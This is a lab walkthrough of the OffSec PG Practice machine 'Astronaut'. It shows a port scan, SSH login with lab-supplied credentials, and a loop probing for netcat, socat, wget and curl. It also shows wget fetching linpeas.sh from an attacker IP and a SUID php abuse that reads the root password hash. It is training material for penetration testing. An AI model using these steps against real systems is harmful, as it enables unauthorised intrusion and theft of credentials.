Skip to main content

Astronaut Walkthrough

Platform: Offsec | PG Practice
Difficulty: Easy
OS: Linux
Author: Pawan Kumar (Vulntricks)
Date: [04/07/2025]

🛰️ 1. Reconnaissance​

Quick Scan using RustScan​

└─$ rustscan -a $IP
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

🚪 1. Initial Access​

Machine already provides credentials :

alt text

Using credentials to login into ssh .

└─$ ssh alex@$IP
alex@gravity:~$ whoami
alex

📦 2. Post-Exploitation Enumeration​

Checking Capabilities​

Will help in deciding which command can be used.

for cmd in gcc cc python perl python3 python2 wget curl fetch nc ncat nc.traditional socat; do which $cmd >/dev/null 2>&1 && echo "[✔] $cmd: $(which $cmd)" || echo "[✘] $cmd: Not found"; done

alt text

Quickly Download Linpeas for enumeration :

alex@gravity:~$ wget http://192.168.45.224/linpeas.sh
--2025-07-03 17:38:49--  http://192.168.45.224/linpeas.sh
Connecting to 192.168.45.224:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
Saving to: ‘linpeas.sh.1’

linpeas.sh.1                     100%[=======================================================>] 842.56K   453KB/s    in 1.9s    

2025-07-03 17:38:51 (453 KB/s) - ‘linpeas.sh.1’ saved [862779/862779]

🚀 4. Privilege Escalation​

Looking through the linpeas result

alt text Found this interesting php suid binary.

Searched on gtfobins And found this php privilege escalation vector,

However, It cannot be executed as alex don't have sudo permissions on it, alt text

We still can try to write and read files without root user capabilities. alt text

Bingo !! ::​

alt text

we can read sensitive file and we have the hash of the root user. we now have 2 options either we can crack the user pass or we can add a new user in /etc/passwd file and ssh as the user. Cracking pass can be a tedious work and not always successful.

🔐 5. Root Flag​

Can directly read flag from above exploit

alt text

🔗 References​